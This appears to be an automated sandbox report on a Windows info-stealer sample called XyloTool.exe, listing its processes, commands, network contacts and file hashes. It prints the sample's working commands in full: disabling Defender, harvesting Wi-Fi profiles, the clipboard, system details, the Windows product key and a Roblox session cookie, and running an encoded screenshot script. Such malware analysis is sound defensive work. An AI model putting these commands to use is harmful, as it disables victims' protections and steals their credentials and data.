PID 1352 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 2488 wrote to memory of 396 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 2488 wrote to memory of 396 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 3648 wrote to memory of 5108 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3648 wrote to memory of 5108 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 396 wrote to memory of 4552 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 396 wrote to memory of 4552 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 1352 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe
PID 1352 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\XyloTool.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\XyloTool.exe

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

C:\Users\Admin\AppData\Local\Temp\XyloTool.exe

"C:\Users\Admin\AppData\Local\Temp\XyloTool.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XyloTool.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XyloTool.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mmtzav5u\mmtzav5u.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6040.tmp" "c:\Users\Admin\AppData\Local\Temp\mmtzav5u\CSC4486289318D54890880C39092BCE580.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WaaSMedicAgent.exe

C:\Windows\System32\WaaSMedicAgent.exe be8c35bc1b36da59ef8b520fae97d9d9 XDO77/a7kEG1mLD7+pIQ4A.0.1.0.0.0

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI7002\rar.exe a -r -hp"2006" "C:\Users\Admin\AppData\Local\Temp\0HNXS.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI7002\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI7002\rar.exe a -r -hp"2006" "C:\Users\Admin\AppData\Local\Temp\0HNXS.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff7c3dab58,0x7fff7c3dab68,0x7fff7c3dab78

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1776 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1996 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2264 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2932 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2940 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4272 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4384 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4560 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4624 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4632 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4592 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4988 --field-trial-handle=2036,i,4118868122981277922,9575307441954258304,131072 /prefetch:1

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 80.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.180.3:443 gstatic.com tcp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 195.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 74.204.58.216.in-addr.arpa udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
US 8.8.8.8:53 apis.google.com udp
GB 142.250.180.14:443 apis.google.com tcp
US 8.8.8.8:53 196.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 3.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 14.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
GB 142.250.200.46:443 play.google.com tcp
US 8.8.8.8:53 46.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 clients2.google.com udp
GB 216.58.213.14:443 clients2.google.com tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 14.213.58.216.in-addr.arpa udp
US 8.8.8.8:53 ogs.google.com udp
US 8.8.8.8:53 ssl.gstatic.com udp
GB 172.217.16.227:443 ssl.gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
GB 142.250.200.46:443 play.google.com udp
GB 142.250.200.46:443 play.google.com udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI7002\python310.dll

MD5 b93eda8cc111a5bde906505224b717c3
SHA1 5f1ae1ab1a3c4c023ea8138d4b09cbc1cd8e8f9e
SHA256 efa27cd726dbf3bf2448476a993dc0d5ffb0264032bf83a72295ab3fc5bcd983
SHA512 b20195930967b4dc9f60c15d9ceae4d577b00095f07bd93aa4f292b94a2e5601d605659e95d5168c1c2d85dc87a54d27775f8f20ebcacf56904e4aa30f1affba

